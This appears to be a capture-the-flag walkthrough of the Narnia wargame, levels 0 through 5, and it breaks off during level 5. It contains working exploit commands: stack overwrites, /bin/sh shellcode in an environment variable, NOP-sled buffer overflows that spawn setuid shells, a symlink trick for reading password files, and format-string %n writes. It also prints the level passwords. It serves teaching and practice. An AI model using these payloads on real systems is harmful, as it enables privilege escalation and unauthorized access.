Narnia 0

UN and PW are both narnia0. The code in narnia.c is as follows -

#include <stdio.h> #include <stdlib.h> int main(){ long val=0x41414141; char buf[20]; printf("Correct val's value from 0x41pdf414141 -> 0xdeadbeef!\n"); printf("Here is your chance: "); scanf("%24s",&buf); printf("buf: %s\n",buf); printf("val: 0x%08x\n",val); if(val==0xdeadbeef){ setreuid(geteuid(),geteuid()); system("/bin/sh"); } else { printf("WAY OFF!!!!\n"); exit(1); } return 0; }

Executing the compiled code which is a setuid executable, the following is the output -

narnia0@narnia:/narnia$ ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: hello buf: hello val: 0x41414141 WAY OFF!!!!

Therefore, from both the code and the output above, we need to change the value of val by overwriting the buffer to 0xdeadbeef. As a first attempt, using 20 B's and 4 Z's as the input to check if the value changes. The output is as follows -

narnia0@narnia:/narnia$ ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: BBBBBBBBBBBBBBBBBBBBZZZZ buf: BBBBBBBBBBBBBBBBBBBBZZZZ val: 0x5a5a5a5a WAY OFF!!!!

We see that the 4 bytes in the first 24 in the input change the value of the variable var. Hence using python to print the first 20 characters and then the required value i.e., 0xdeadbeef in little endian and passing as input as follows -

python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0

This gives the following output -

narnia0@narnia:/narnia$ python -c 'print("A"*20 + "\xef\xbe\xad\xde")' | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­ val: 0xdeadbeef narnia0@narnia:/narnia$

The thing to notice is that the prompt reappears after the execution. If we append the command whoami to the python print code and run again as follows -

(python -c 'print("A"*20 + "\xef\xbe\xad\xde")'; whoami) | ./narnia0

yields the following output -

narnia0@narnia:/narnia$ (python -c 'print("A"*20 + "\xef\xbe\xad\xde")'; whoami) | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­ val: 0xdeadbeef /bin/sh: 1: narnia0: not found narnia0@narnia:/narnia$

This exits the prompt but also prints the highlighted line, which means that the shell executed and was passed the output of whoami command. Therefore, we need to keep the shell opened by using a command that can return and take in commands and outputs like a channel. The command cat does this. Therefore, like previously with the print code, replacing whoami with cat, we get a blank line after the value is prompted which is the shell. Now the password can be read from the narnia1 password location.

narnia0@narnia:/narnia$ (python -c 'print("A"*20 + "\xef\xbe\xad\xde")'; cat) | ./narnia0 Correct val's value from 0x41414141 -> 0xdeadbeef! Here is your chance: buf: AAAAAAAAAAAAAAAAAAAAï¾­ val: 0xdeadbeef id uid=14001(narnia1) gid=14000(narnia0) groups=14000(narnia0) cat /etc/narnia_pass/narnia1 efeidiedae

Thus the password for the next level is efeidiedae.


The narnia1.c has the following code -

#include <stdio.h> int main(){ int (*ret)(); if(getenv("EGG")==NULL){ printf("Give me something to execute at the env-variable EGG\n"); exit(1); } printf("Trying to execute EGG!\n"); ret = getenv("EGG"); ret(); return 0; }

The code needs a value at the EGG environment variable. If a shellcode is passed at the environment variable EGG, then the getenv function will pass it as a function pointer to ret, which is executed at the end. Therefore, using a shellcode from shell-storm for a /bin/sh execution, we can set the variable as follows -

export EGG=$(python -c 'print("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e \x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80")')

After this, upon executing the compiled code, we get the following -

narnia1@narnia:/narnia$ ./narnia1 Trying to execute EGG! $ whoami narnia2 $ cat /etc/narnia_pass/narnia2 nairiepecu

Thus the password for the next level is nairiepecu.


The code of narnia2.c contains the following -

#include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char * argv[]){ char buf[128]; if(argc == 1){ printf("Usage: %s argument\n", argv[0]); exit(1); } strcpy(buf,argv[1]); printf("%s", buf); return 0; }

This is a typical buffer overflow problem, where the character array called buf is loaded with a string from the arguments using strcpy, which does not check for the allocation bounds of the variable. Therefore, in this case, we can write to the memory outside the defined bound of 128 characters. The aim is to overwrite enough to change the value of EIP, which stores the address of the next instruction. This can be checked using GDB. Running using a python code to fill the buffer using A's and using hit and trial to reach a conclusion, which is the number of bytes required to pass as the argument to overwrite the EIP. This is checked in GDB as follows -

narnia2@narnia:/narnia$ gdb -q narnia2 Reading symbols from narnia2...(no debugging symbols found)...done. (gdb) disas main Dump of assembler code for function main: 0x0804844b <+0>: push %ebp 0x0804844c <+1>: mov %esp,%ebp 0x0804844e <+3>: add $0xffffff80,%esp 0x08048451 <+6>: cmpl $0x1,0x8(%ebp) 0x08048455 <+10>: jne 0x8048471 <main+38> 0x08048457 <+12>: mov 0xc(%ebp),%eax 0x0804845a <+15>: mov (%eax),%eax 0x0804845c <+17>: push %eax 0x0804845d <+18>: push $0x8048520 0x08048462 <+23>: call 0x8048300 <printf@plt> 0x08048467 <+28>: add $0x8,%esp 0x0804846a <+31>: push $0x1 0x0804846c <+33>: call 0x8048320 <exit@plt> 0x08048471 <+38>: mov 0xc(%ebp),%eax 0x08048474 <+41>: add $0x4,%eax 0x08048477 <+44>: mov (%eax),%eax 0x08048479 <+46>: push %eax 0x0804847a <+47>: lea -0x80(%ebp),%eax 0x0804847d <+50>: push %eax 0x0804847e <+51>: call 0x8048310 <strcpy@plt> 0x08048483 <+56>: add $0x8,%esp 0x08048486 <+59>: lea -0x80(%ebp),%eax 0x08048489 <+62>: push %eax 0x0804848a <+63>: push $0x8048534 0x0804848f <+68>: call 0x8048300 <printf@plt> 0x08048494 <+73>: add $0x8,%esp 0x08048497 <+76>: mov $0x0,%eax 0x0804849c <+81>: leave 0x0804849d <+82>: ret End of assembler dump. (gdb) break *main+56 Breakpoint 1 at 0x8048483 (gdb) r $(python -c 'print("A"*132)') Starting program: /narnia/narnia2 $(python -c 'print("A"*132)') Breakpoint 1, 0x08048483 in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0xf7e2a202 in __libc_start_main () from /lib32/ <------ EIP value not 0x41414141 (gdb) r $(python -c 'print("A"*136)') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia2 $(python -c 'print("A"*136)') Breakpoint 1, 0x08048483 in main () (gdb) c Continuing. Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () <------ EIP value is 0x41414141 (gdb) i r eax 0x0 0 ecx 0x7fffff77 2147483511 edx 0xf7fc6870 -134453136 ebx 0x0 0 esp 0xffffd640 0xffffd640 ebp 0x41414141 0x41414141 esi 0x2 2 edi 0xf7fc5000 -134459392 eip 0x41414141 0x41414141 <------ Confirmed here using info registers. eflags 0x10286 [ PF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99

Therefore, the last 4 bytes of a 136 byte payload overwrite the EIP. Now the aim is to put a shellcode in the stack somewhere and overwrite the EIP to execute that shellcode. Therefore, the total amount of bytes for use is 132. To check the start and end of the stack where this input is placed, to find a suitable address to place the payload, we use GDB again -

(gdb) r $(python -c 'print("A"*132 + "BBBB")') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia2 $(python -c 'print("A"*132 + "BBBB")') (gdb) x/60wx $esp+0x198 <-------- beyond current esp 0xffffd7d8: 0x00000000 0x00000000 0x00000000 0x00000000 0xffffd7e8: 0x17000000 0x47369042 0x07bfea54 0x85458d9d 0xffffd7f8: 0x695e50dd 0x00363836 0x00000000 0x00000000 0xffffd808: 0x72616e2f 0x2f61696e 0x6e72616e 0x00326169 0xffffd818: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd828: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd838: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd848: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd858: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd868: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd878: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd888: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd898: 0x41414141 0x42424242 0x5f434c00 0x3d4c4c41 <--------- BBBB is here 0xffffd8a8: 0x555f6e65 0x54552e53 0x00382d46 0x435f534c 0xffffd8b8: 0x524f4c4f 0x73723d53 0x643a303d 0x31303d69

Now, we fill almost all locations with NOP's or \x90's apart from the shell code and an address to jump. The /bin/dash payload can be used which is 25 bytes long - \x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80. Therefore, if we replace all the A's with NOPs, then we can jump to one of those instructions and have it skip to the payload. The stack space we have for this is 132 bytes long and starts at 0xffffd818. Therefore, keeping standard deviations in mind for execution differences between actual program and gdb instance due to environment variables and other stuff, we can jump to the address 0xffffd830. We will write 132-25=107 bytes of NOPs and then append the payload for 25 bytes followed by the address we need to jump to. This executed in gdb looks like -

(gdb) r $(python -c 'print("\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89 \xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x30\xd8\xff\xff")') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /narnia/narnia2 $(python -c 'print("\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x30\xd8\xff\xff")') process 15288 is executing new program: /bin/dash $ whoami narnia2

It starts the shell but the prompt returns narnia2 because it is executed inside of gdb. On executing it on the bash of narnia2, on the setuid executable narnia2, we get the shell and can read password as follows -

narnia2@narnia:/narnia$ ./narnia2 $(python -c 'print("\x90"*107 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\x40\xd8\xff\xff")') $ whoami narnia3 $ cat /etc/narnia_pass/narnia3 vaequeezee

Thus, the password for narnia3 is vaequeezee.


The code of narnia3.c contains the following -

#include <stdio.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <unistd.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int ifd, ofd; char ofile[16] = "/dev/null"; char ifile[32]; char buf[32]; if(argc != 2){ printf("usage, %s file, will send contents of file 2 /dev/null\n",argv[0]); exit(-1); } strcpy(ifile, argv[1]); if((ofd = open(ofile,O_RDWR)) < 0 ){ printf("error opening %s\n", ofile); exit(-1); } if((ifd = open(ifile, O_RDONLY)) < 0 ){ printf("error opening %s\n", ifile); exit(-1); } read(ifd, buf, sizeof(buf)-1); write(ofd,buf, sizeof(buf)-1); printf("copied contents of %s to a safer place... (%s)\n",ifile,ofile); close(ifd); close(ofd); exit(1); }

Here the code basically writes the contents of a file to another file, the name of which appears to be static. Therefore, the first thing which is also the intended and obvious way is that the file from which contents are to be read should be the password file of narnia4 and the file to write to should be a file. Looking at the code in assembly, the following is in intel syntax and the places marked with '<-------- location' are where logically the file open check seem to be located. These are located using the open system calls.

narnia3@narnia:/narnia$ gdb -q narnia3 Reading symbols from narnia3...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x0804850b <+0>: push ebp 0x0804850c <+1>: mov ebp,esp 0x0804850e <+3>: sub esp,0x58 0x08048511 <+6>: mov DWORD PTR [ebp-0x18],0x7665642f 0x08048518 <+13>: mov DWORD PTR [ebp-0x14],0x6c756e2f 0x0804851f <+20>: mov DWORD PTR [ebp-0x10],0x6c 0x08048526 <+27>: mov DWORD PTR [ebp-0xc],0x0 0x0804852d <+34>: cmp DWORD PTR [ebp+0x8],0x2 0x08048531 <+38>: je 0x804854d <main+66> 0x08048533 <+40>: mov eax,DWORD PTR [ebp+0xc] 0x08048536 <+43>: mov eax,DWORD PTR [eax] 0x08048538 <+45>: push eax 0x08048539 <+46>: push 0x80486a0 0x0804853e <+51>: call 0x8048390 <printf@plt> 0x08048543 <+56>: add esp,0x8 0x08048546 <+59>: push 0xffffffff 0x08048548 <+61>: call 0x80483b0 <exit@plt> 0x0804854d <+66>: mov eax,DWORD PTR [ebp+0xc] 0x08048550 <+69>: add eax,0x4 0x08048553 <+72>: mov eax,DWORD PTR [eax] 0x08048555 <+74>: push eax 0x08048556 <+75>: lea eax,[ebp-0x38] 0x08048559 <+78>: push eax 0x0804855a <+79>: call 0x80483a0 <strcpy@plt> 0x0804855f <+84>: add esp,0x8 0x08048562 <+87>: push 0x2 0x08048564 <+89>: lea eax,[ebp-0x18] <---------- location 0x08048567 <+92>: push eax 0x08048568 <+93>: call 0x80483c0 <open@plt> 0x0804856d <+98>: add esp,0x8 0x08048570 <+101>: mov DWORD PTR [ebp-0x4],eax 0x08048573 <+104>: cmp DWORD PTR [ebp-0x4],0x0 0x08048577 <+108>: jns 0x8048591 <main+134> 0x08048579 <+110>: lea eax,[ebp-0x18] 0x0804857c <+113>: push eax 0x0804857d <+114>: push 0x80486d8 0x08048582 <+119>: call 0x8048390 <printf@plt> 0x08048587 <+124>: add esp,0x8 0x0804858a <+127>: push 0xffffffff 0x0804858c <+129>: call 0x80483b0 <exit@plt> 0x08048591 <+134>: push 0x0 0x08048593 <+136>: lea eax,[ebp-0x38] <---------- location 0x08048596 <+139>: push eax 0x08048597 <+140>: call 0x80483c0 <open@plt> 0x0804859c <+145>: add esp,0x8 0x0804859f <+148>: mov DWORD PTR [ebp-0x8],eax 0x080485a2 <+151>: cmp DWORD PTR [ebp-0x8],0x0 0x080485a6 <+155>: jns 0x80485c0 <main+181> 0x080485a8 <+157>: lea eax,[ebp-0x38] 0x080485ab <+160>: push eax 0x080485ac <+161>: push 0x80486d8 0x080485b1 <+166>: call 0x8048390 <printf@plt> 0x080485b6 <+171>: add esp,0x8 0x080485b9 <+174>: push 0xffffffff 0x080485bb <+176>: call 0x80483b0 <exit@plt> 0x080485c0 <+181>: push 0x1f 0x080485c2 <+183>: lea eax,[ebp-0x58] 0x080485c5 <+186>: push eax 0x080485c6 <+187>: push DWORD PTR [ebp-0x8] 0x080485c9 <+190>: call 0x8048380 <read@plt> 0x080485ce <+195>: add esp,0xc 0x080485d1 <+198>: push 0x1f 0x080485d3 <+200>: lea eax,[ebp-0x58] 0x080485d6 <+203>: push eax 0x080485d7 <+204>: push DWORD PTR [ebp-0x4] 0x080485da <+207>: call 0x80483e0 <write@plt> 0x080485df <+212>: add esp,0xc 0x080485e2 <+215>: lea eax,[ebp-0x18] 0x080485e5 <+218>: push eax 0x080485e6 <+219>: lea eax,[ebp-0x38] 0x080485e9 <+222>: push eax 0x080485ea <+223>: push 0x80486ec 0x080485ef <+228>: call 0x8048390 <printf@plt> 0x080485f4 <+233>: add esp,0xc 0x080485f7 <+236>: push DWORD PTR [ebp-0x8] 0x080485fa <+239>: call 0x80483f0 <close@plt> 0x080485ff <+244>: add esp,0x4 0x08048602 <+247>: push DWORD PTR [ebp-0x4] 0x08048605 <+250>: call 0x80483f0 <close@plt> 0x0804860a <+255>: add esp,0x4 0x0804860d <+258>: push 0x1 0x0804860f <+260>: call 0x80483b0 <exit@plt> End of assembler dump.

Therefore, to check the contents of the registers we can type in a filename that exists and see how the program behaves by placing an breakpoint right before the exit (the one that will be called following the flow of the program). The different function calls, jump and function names can be used to figure out the flow of the program. Putting in the filename as follows -

narnia3@narnia:/narnia$ touch /tmp/tanqblast

After this the gdb session is as follows, where we can check the contents of the marked locations to check for the names and confirm what is to be overflowed -

narnia3@narnia:/narnia$ gdb -q narnia3 Reading symbols from narnia3...(no debugging symbols found)...done. (gdb) break *main+258 Breakpoint 1 at 0x804860d (gdb) r /tmp/tanqblast Starting program: /narnia/narnia3 /tmp/tanqblast copied contents of /tmp/tanqblast to a safer place... (/dev/null) Breakpoint 1, 0x0804860d in main () (gdb) x/10s $ebp-0x38 0xffffd680: "/tmp/tanqblast" 0xffffd68f: "\b\002" 0xffffd692: "" 0xffffd693: "" 0xffffd694: "T\327\377\377`\327\377\377A\206\004\b/dev/null" 0xffffd6aa: "" 0xffffd6ab: "" 0xffffd6ac: "" 0xffffd6ad: "" 0xffffd6ae: "" (gdb) x/10s $ebp-0x18 0xffffd6a0: "/dev/null" 0xffffd6aa: "" 0xffffd6ab: "" 0xffffd6ac: "" 0xffffd6ad: "" 0xffffd6ae: "" 0xffffd6af: "" 0xffffd6b0: "\004" 0xffffd6b2: "" 0xffffd6b3: ""

This confirms that the location ebp-0x38 is the file that is to be read and is also taken as an input in form of an argument. The string at ebp-0x18 is the filename of the file that the program writes to. With arithmetic, the difference between the files is of 32 bytes. The name file which is to be written comes after that of the file from which the contents are to be taken in the stack. Therefore, this can be overflowed. Since the variable is static, this means that the contents can be overwritten with a new value upon overloading. Now, to enter a string, keeping in mind that there are delimiters also associated with the strings, we cannot enter a \n in the string to overload. Therefore, we can use the fact that a file inside a subfolder of the current directory can have the same name as the one inside the current directory as the complete path is still different. Also, if a file name is referred to without a relative path from /, then the file is searched from the current directory even from program execution. Therefore, this can be used to frame the name of the input and the output file by giving the output file the name of the file in the current directory while the input file will be the one inside the sub directory. To place the string of the name of the output file at the perfect position, the difference of the variable locations must be filled i.e., the 32 bytes must be occupied by the path length of the current folder name and the subdirectory. Therefore, trying this out with test files and proper permissions as follows -

narnia3@narnia:~$ mkdir /tmp/tanq narnia3@narnia:~$ cd /tmp/tanq narnia3@narnia:/tmp/tanq$ mkdir $(python -c 'print("a"*21)') narnia3@narnia:/tmp/tanq$ cd aaaaaaaaaaaaaaaaaaaaa/ narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ echo "this is to be read" > readfile narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ cat readfile this is to be read narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ cd .. narnia3@narnia:/tmp/tanq$ touch readfile narnia3@narnia:/tmp/tanq$ cat readfile narnia3@narnia:/tmp/tanq$ /narnia/narnia3 /tmp/tanq/aaaaaaaaaaaaaaaaaaaaa/readfile error opening readfile <--------------- error as wrong permissions narnia3@narnia:/tmp/tanq$ chmod 777 readfile narnia3@narnia:/tmp/tanq$ /narnia/narnia3 /tmp/tanq/aaaaaaaaaaaaaaaaaaaaa/readfile copied contents of /tmp/tanq/aaaaaaaaaaaaaaaaaaaaa/readfile to a safer place... (readfile) narnia3@narnia:/tmp/tanq$ cat readfile this is to be read

Now the file which is being read can be made a link to the password of narnia4 as the program is a setuid and can read the file. Then the same method can be used to get the file. this does give a bit of junk data but the first line is the password and that is all that is required.

narnia3@narnia:/tmp/tanq$ cd aaaaaaaaaaaaaaaaaaaaa/ narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ rm readfile narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ ln -s /etc/narnia_pass/narnia4 readfile narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ ls -l total 0 lrwxrwxrwx 1 narnia3 root 24 May 4 12:36 readfile -> /etc/narnia_pass/narnia4 narnia3@narnia:/tmp/tanq/aaaaaaaaaaaaaaaaaaaaa$ cd .. narnia3@narnia:/tmp/tanq$ rm readfile narnia3@narnia:/tmp/tanq$ touch readfile narnia3@narnia:/tmp/tanq$ chmod 777 readfile narnia3@narnia:/tmp/tanq$ /narnia/narnia3 /tmp/tanq/aaaaaaaaaaaaaaaaaaaaa/readfile copied contents of /tmp/tanq/aaaaaaaaaaaaaaaaaaaaa/readfile to a safer place... (readfile) narnia3@narnia:/tmp/tanq$ cat readfile thaenohtai (. PD narnia3@narnia:/tmp/tanq$

Therefore, the password is - thaenohtai.


The code for narnia4.c is as follows -

#include <string.h> #include <stdlib.h> #include <stdio.h> #include <ctype.h> extern char **environ; int main(int argc,char **argv){ int i; char buffer[256]; for(i = 0; environ[i] != NULL; i++) memset(environ[i], '\0', strlen(environ[i])); if(argc>1) strcpy(buffer,argv[1]); return 0; }

Looking at the code, we know we have a buffer and a loop that sets all environment variables to nulls or delimiters or empty strings. Therefore, the only attack vector here is to alter the return address of the only function i.e., main. The return stetment is the one we need to look for. The variable that can be overflowed is buffer. Therefore, we can disassemble the code and have a look as well as try overflowing and finding the exact value at which the function gives a seg fault with the overflowed valued. This will be the threshold of the buffer overflow as at that point the return pointer gets overwritten.

narnia4@narnia:/narnia$ gdb -q narnia4 Reading symbols from narnia4...(no debugging symbols found)...done. (gdb) set disassembly-flavor intel (gdb) disas main Dump of assembler code for function main: 0x080484ab <+0>: push ebp 0x080484ac <+1>: mov ebp,esp 0x080484ae <+3>: sub esp,0x104 0x080484b4 <+9>: mov DWORD PTR [ebp-0x4],0x0 0x080484bb <+16>: jmp 0x80484f6 <main+75> 0x080484bd <+18>: mov eax,ds:0x80497d4 0x080484c2 <+23>: mov edx,DWORD PTR [ebp-0x4] 0x080484c5 <+26>: shl edx,0x2 0x080484c8 <+29>: add eax,edx 0x080484ca <+31>: mov eax,DWORD PTR [eax] 0x080484cc <+33>: push eax 0x080484cd <+34>: call 0x8048370 <strlen@plt> 0x080484d2 <+39>: add esp,0x4 0x080484d5 <+42>: mov ecx,eax 0x080484d7 <+44>: mov eax,ds:0x80497d4 0x080484dc <+49>: mov edx,DWORD PTR [ebp-0x4] 0x080484df <+52>: shl edx,0x2 0x080484e2 <+55>: add eax,edx 0x080484e4 <+57>: mov eax,DWORD PTR [eax] 0x080484e6 <+59>: push ecx 0x080484e7 <+60>: push 0x0 0x080484e9 <+62>: push eax 0x080484ea <+63>: call 0x8048390 <memset@plt> 0x080484ef <+68>: add esp,0xc 0x080484f2 <+71>: add DWORD PTR [ebp-0x4],0x1 0x080484f6 <+75>: mov eax,ds:0x80497d4 0x080484fb <+80>: mov edx,DWORD PTR [ebp-0x4] 0x080484fe <+83>: shl edx,0x2 0x08048501 <+86>: add eax,edx 0x08048503 <+88>: mov eax,DWORD PTR [eax] 0x08048505 <+90>: test eax,eax 0x08048507 <+92>: jne 0x80484bd <main+18> 0x08048509 <+94>: cmp DWORD PTR [ebp+0x8],0x1 0x0804850d <+98>: jle 0x8048527 <main+124> 0x0804850f <+100>: mov eax,DWORD PTR [ebp+0xc] 0x08048512 <+103>: add eax,0x4 0x08048515 <+106>: mov eax,DWORD PTR [eax] 0x08048517 <+108>: push eax 0x08048518 <+109>: lea eax,[ebp-0x104] 0x0804851e <+115>: push eax 0x0804851f <+116>: call 0x8048360 <strcpy@plt> 0x08048524 <+121>: add esp,0x8 0x08048527 <+124>: mov eax,0x0 0x0804852c <+129>: leave 0x0804852d <+130>: ret End of assembler dump. (gdb) r $(python -c 'print("A"*268)') Starting program: /narnia/narnia4 $(python -c 'print("A"*268)') Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0x0 0 ecx 0xffffd8a0 -10080 edx 0xffffd5c0 -10816 ebx 0x0 0 esp 0xffffd5c0 0xffffd5c0 ebp 0x41414141 0x41414141 esi 0x2 2 edi 0xf7fc5000 -134459392 eip 0x41414141 0x41414141 eflags 0x10296 [ PF AF SF IF RF ] cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x63 99 (gdb) x/85wx $esp+400 0xffffd750: 0xffffd77b 0x00000000 0x00000000 0x00000000 0xffffd760: 0x00000000 0x00000000 0x2e000000 0x65e84b64 0xffffd770: 0x4863725b 0x0771dba7 0x69f4c786 0x00363836 0xffffd780: 0x00000000 0x72616e2f 0x2f61696e 0x6e72616e 0xffffd790: 0x00346169 0x41414141 0x41414141 0x41414141 0xffffd7a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd7b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd7c0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd7d0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd7e0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd7f0: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd800: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd810: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd820: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd830: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd840: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd850: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd860: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd870: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd880: 0x41414141 0x41414141 0x41414141 0x41414141 0xffffd890: 0x41414141 0x41414141 0x41414141 0x41414141 <-------- the return address is located at this address 0xffffd8a0: 0x00000000

Therefore, we find the length of the buffer threshold to be 268, where the last 4 bytes are the required return address. So, we can simply overflow this by redirecting program control like in Narnia2 by using the same 25 byte dash shell code. The return address can be a place in the NOP sled and since we have a big buffer, this can be conveniently placed in the middle of the 0x41414141's. Therefore, the payload will be as follows -

$(python -c 'print("\x90"*239 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xe4\xd7\xff\xff")')

Running this on the shell gives the following -

narnia4@narnia:/narnia$ ./narnia4 $(python -c 'print("\x90"*239 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80" + "\xe4\xd7\xff\xff")') $ whoami narnia5 $ cat /etc/narnia_pass/narnia5 faimahchiy

Thus, the password for this level is faimahchiy.


The code for narnia5.c contains -

#include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ int i = 1; char buffer[64]; snprintf(buffer, sizeof buffer, argv[1]); buffer[sizeof (buffer) - 1] = 0; printf("Change i's value from 1 -> 500. "); if(i==500){ printf("GOOD\n"); setreuid(geteuid(),geteuid()); system("/bin/sh"); } printf("No way...let me give you a hint!\n"); printf("buffer : [%s] (%d)\n", buffer, strlen(buffer)); printf ("i = %d (%p)\n", i, &i); return 0; }

From the code, it is apparent that we need to overflow somewhere to change the value of a variable and thus get a particular code snippet executed. The setreuid function sets the real uid to the effective uid, which is obtained from the geteuid method. system has a vulnerability of not dropping privileges and thus, the setreuid will keep the reuid of the current user as root before shifting control to the system syscall. This is solved in execve. However, for this challenge, this is to be exploited using a vulnerability.

We see that the function used to copy data into buffer is snprintf. This is a class of the printf functions and also checks the size of the buffer it is writing to. Therefore, we cannot write more than 64 bytes. However, snprintf, being a part of printf family, is vulnerable to format string attack when the data related is controlled by the attacker. In this case, the data in buffer is controlled by us since it is copied from the argument.

The goal is to change the value of i to 500 so that the system can be executed. We start by checking for the format string attack by using a bunch of '%p' as the input.

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("AAAA%x%x%x%x")') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA41414141313431343134313434333133] (36) i = 1 (0xffffd6e0)

Printf (or snprintf), when given a %x without any argument passed in place of that format string, prints directly from the stack. Therefore, we try entering 'AAAA' for easy location and then when we try to print the stack, the first value that gets printed is 0x41414141. This means that upon printing the values of the stack, we find the value we passed as the argument right at the first address that printf prints. Thus, to print only that value, we can use the format specifier of %1$x, where 1 signifies first entry.

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("AAAA%1$x")') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [AAAA41414141] (12) i = 1 (0xffffd6e0)

Another interesting construct of the printf family is the %n format specifier. This writes a value to the address specified. This value is equal to the number of characters written till now in the stack. Following this -

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("AAAA%1$n")') Segmentation fault

On doing this, the program gives a Segmentation fault because, the payload above instructs the program to write a value of 4 (number of bytes written for AAAA) to the address 0x41414141, which is specified by the %1$ part of the format string. Since the address 0x41414141 does not exist, the program gives a seg fault. Therefore, we need to change the value of the variable i. For this, we must locate the address of i. This is given as a hint at every execution, otherwise gdb/objdump must be used to obtain the required address from the stack. If we try to change the value of i now by specifying the address of i instead of AAAA, -

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("\xe0\xd6\xff\xff%1$n")') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [] (4) i = 4 (0xffffd6e0)

We see that we successfully changed the value of i. But we need to change it to 500 and not 4. Therefore, we need to add more data to make it so. The value gets changed to 4 as the amount of data written to the stack is calculated to be 4 bytes for the address that's written. This cannot be done with simple data as then the buffer will be completely written with the data and the required address will not be considered. Therefore, we need to make printf print more data instead of writing extra data onto the stack. Even if we wrote data on the stack, the variable buffer cannot be overflowed. Its the data printed by printf that is overflowed. Therefore, this can be done by using %x to print data.

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("\xe0\xd6\xff\xff" + "%x" + "%1$n")') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ffffd6e0] (12) i = 12 (0xffffd6e0)

Therefore, in the above way, the value gets changed to 12 as %x prints the next address on the stack in hex format i.e., 8 characters. Therefore, the address plus the formatted address is 4 + 8 = 12. We can pad the data printed by %x with spaces or any other character that we print. This will essentially fill the space in the buffer but not by writing from user but because of the printf trying to print it out.

narnia5@narnia:/narnia$ ./narnia5 $(python -c 'print("\xe0\xd6\xff\xff" + "%10x" + "%1$n")') Change i's value from 1 -> 500. No way...let me give you a hint! buffer : [ ffffd6e0] (14) i = 14 (0xffffd6e0)

